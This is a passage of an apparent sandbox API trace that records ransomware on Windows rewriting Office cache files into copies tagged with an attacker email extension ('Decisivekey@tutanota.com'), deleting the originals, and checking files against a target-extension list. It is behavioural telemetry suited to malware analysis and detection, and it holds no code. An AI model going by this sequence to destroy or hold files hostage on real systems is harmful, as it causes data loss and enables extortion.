users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0215.215] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0215.215] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.215] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.215] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0215.216] GetLastError () returned 0x0 [0215.216] ReadFile (in: hFile=0x208, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x2a968, lpOverlapped=0x0) returned 1 [0215.241] WriteFile (in: hFile=0x218, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0215.244] ReadFile (in: hFile=0x208, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0215.244] WriteFile (in: hFile=0x218, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0215.244] SetEndOfFile (hFile=0x218) returned 1 [0215.244] CloseHandle (hObject=0x218) returned 1 [0215.244] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.244] SetEndOfFile (hFile=0x208) returned 1 [0215.245] CloseHandle (hObject=0x208) returned 1 [0215.245] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0215.245] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0215.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0215.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0215.246] lstrlenW (lpString=".doc") returned 4 [0215.246] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0215.246] lstrlenW (lpString=".docx") returned 5 [0215.246] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0215.246] lstrlenW (lpString=".pdf") returned 4 [0215.246] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0215.246] lstrlenW (lpString=".xls") returned 4 [0215.246] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0215.246] lstrlenW (lpString=".xlsx") returned 5 [0215.246] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0215.246] lstrlenW (lpString=".ppt") returned 4 [0215.246] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0215.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0215.246] lstrlenW (lpString=".zip") returned 4 [0215.246] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0215.246] lstrlenW (lpString=".rar") returned 4 [0215.246] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0215.246] lstrlenW (lpString=".bz2") returned 4 [0215.246] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0215.246] lstrlenW (lpString=".7z") returned 3 [0215.246] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0215.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0215.246] lstrlenW (lpString=".dbf") returned 4 [0215.246] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0215.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0215.246] lstrlenW (lpString=".1cd") returned 4 [0215.246] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0215.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0215.246] lstrlenW (lpString=".jpg") returned 4 [0215.246] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0215.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0215.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0215.246] lstrlenW (lpString=".doc") returned 4 [0215.246] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0215.246] lstrlenW (lpString=".docx") returned 5 [0215.246] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0215.246] lstrlenW (lpString=".pdf") returned 4 [0215.246] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0215.247] lstrlenW (lpString=".xls") returned 4 [0215.247] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0215.247] lstrlenW (lpString=".xlsx") returned 5 [0215.247] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0215.247] lstrlenW (lpString=".ppt") returned 4 [0215.247] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0215.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0215.247] lstrlenW (lpString=".zip") returned 4 [0215.247] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0215.247] lstrlenW (lpString=".rar") returned 4 [0215.247] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0215.247] lstrlenW (lpString=".bz2") returned 4 [0215.247] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0215.247] lstrlenW (lpString=".7z") returned 3 [0215.247] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0215.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0215.247] lstrlenW (lpString=".dbf") returned 4 [0215.247] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0215.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0215.247] lstrlenW (lpString=".1cd") returned 4 [0215.247] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0215.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0215.247] lstrlenW (lpString=".jpg") returned 4 [0215.247] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0215.247] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0215.247] lstrlenW (lpString="PidGenX.dll") returned 11 [0215.247] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0215.247] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=1463568) returned 1 [0215.247] CloseHandle (hObject=0x208) returned 1 [0215.248] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0215.248] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0215.248] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0215.248] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.248] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.248] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0215.248] GetLastError () returned 0x0 [0215.248] ReadFile (in: hFile=0x208, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0215.355] WriteFile (in: hFile=0x218, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0215.369] ReadFile (in: hFile=0x208, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x65520, lpOverlapped=0x0) returned 1 [0215.391] WriteFile (in: hFile=0x218, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0215.400] ReadFile (in: hFile=0x208, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0215.400] WriteFile (in: hFile=0x218, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0215.400] SetEndOfFile (hFile=0x218) returned 1 [0215.400] CloseHandle (hObject=0x218) returned 1 [0215.400] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.401] SetEndOfFile (hFile=0x208) returned 1 [0215.404] CloseHandle (hObject=0x208) returned 1 [0215.404] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0215.404] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0215.404] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0215.404] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0215.404] lstrlenW (lpString=".doc") returned 4 [0215.404] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0215.404] lstrlenW (lpString=".docx") returned 5 [0215.404] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0215.404] lstrlenW (lpString=".pdf") returned 4 [0215.404] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0215.404] lstrlenW (lpString=".xls") returned 4 [0215.404] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0215.404] lstrlenW (lpString=".xlsx") returned 5 [0215.405] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0215.405] lstrlenW (lpString=".ppt") returned 4 [0215.405] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0215.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0215.405] lstrlenW (lpString=".zip") returned 4 [0215.405] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0215.405] lstrlenW (lpString=".rar") returned 4 [0215.405] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0215.405] lstrlenW (lpString=".bz2") returned 4 [0215.405] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0215.405] lstrlenW (lpString=".7z") returned 3 [0215.405] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0215.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0215.405] lstrlenW (lpString=".dbf") returned 4 [0215.405] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0215.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0215.405] lstrlenW (lpString=".1cd") returned 4 [0215.405] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0215.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0215.405] lstrlenW (lpString=".jpg") returned 4 [0215.405] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0215.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0215.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0215.405] lstrlenW (lpString=".doc") returned 4 [0215.405] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0215.405] lstrlenW (lpString=".docx") returned 5 [0215.405] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0215.405] lstrlenW (lpString=".pdf") returned 4 [0215.405] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0215.405] lstrlenW (lpString=".xls") returned 4 [0215.405] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0215.405] lstrlenW (lpString=".xlsx") returned 5 [0215.405] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0215.405] lstrlenW (lpString=".ppt") returned 4 [0215.405] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0215.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0215.405] lstrlenW (lpString=".zip") returned 4 [0215.405] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0215.405] lstrlenW (lpString=".rar") returned 4 [0215.405] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0215.405] lstrlenW (lpString=".bz2") returned 4 [0215.405] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0215.405] lstrlenW (lpString=".7z") returned 3 [0215.405] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0215.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0215.406] lstrlenW (lpString=".dbf") returned 4 [0215.406] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0215.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0215.406] lstrlenW (lpString=".1cd") returned 4 [0215.406] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0215.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0215.406] lstrlenW (lpString=".jpg") returned 4 [0215.406] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0215.406] lstrcmpiW (lpString1=".xrm-ms", lpString2=".AUF") returned 1 [0215.406] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0215.406] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0215.406] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=715834) returned 1 [0215.406] CloseHandle (hObject=0x208) returned 1 [0215.406] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0215.406] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0215.406] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0215.406] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.407] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.407] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0215.407] GetLastError () returned 0x0 [0215.407] ReadFile (in: hFile=0x208, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0215.449] WriteFile (in: hFile=0x218, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0215.461] ReadFile (in: hFile=0x208, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0215.461] WriteFile (in: hFile=0x218, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x104, lpOverlapped=0x0) returned 1 [0215.461] SetEndOfFile (hFile=0x218) returned 1 [0215.461] CloseHandle (hObject=0x218) returned 1 [0215.461] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.461] SetEndOfFile (hFile=0x208) returned 1 [0215.467] CloseHandle (hObject=0x208) returned 1 [0215.467] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0215.467] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0215.467] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0215.468] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0215.468] lstrlenW (lpString=".doc") returned 4 [0215.468] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.468] lstrlenW (lpString=".docx") returned 5 [0215.468] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.468] lstrlenW (lpString=".pdf") returned 4 [0215.468] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.468] lstrlenW (lpString=".xls") returned 4 [0215.468] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.468] lstrlenW (lpString=".xlsx") returned 5 [0215.468] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.468] lstrlenW (lpString=".ppt") returned 4 [0215.468] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.468] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0215.468] lstrlenW (lpString=".zip") returned 4 [0215.468] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.468] lstrlenW (lpString=".rar") returned 4 [0215.468] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.468] lstrlenW (lpString=".bz2") returned 4 [0215.468] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.468] lstrlenW (lpString=".7z") returned 3 [0215.468] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.468] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0215.468] lstrlenW (lpString=".dbf") returned 4 [0215.468] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.468] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0215.468] lstrlenW (lpString=".1cd") returned 4 [0215.468] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.468] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0215.468] lstrlenW (lpString=".jpg") returned 4 [0215.468] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.468] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0215.468] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0215.468] lstrlenW (lpString=".doc") returned 4 [0215.468] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.468] lstrlenW (lpString=".docx") returned 5 [0215.468] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.468] lstrlenW (lpString=".pdf") returned 4 [0215.468] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.468] lstrlenW (lpString=".xls") returned 4 [0215.468] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.468] lstrlenW (lpString=".xlsx") returned 5 [0215.468] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.468] lstrlenW (lpString=".ppt") returned 4 [0215.468] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.468] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0215.469] lstrlenW (lpString=".zip") returned 4 [0215.469] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.469] lstrlenW (lpString=".rar") returned 4 [0215.469] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.469] lstrlenW (lpString=".bz2") returned 4 [0215.469] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.469] lstrlenW (lpString=".7z") returned 3 [0215.469] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.469] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0215.469] lstrlenW (lpString=".dbf") returned 4 [0215.469] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.469] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0215.469] lstrlenW (lpString=".1cd") returned 4 [0215.469] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.469] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0215.469] lstrlenW (lpString=".jpg") returned 4 [0215.469] lstrcmpiW (lpString1=".jpg", 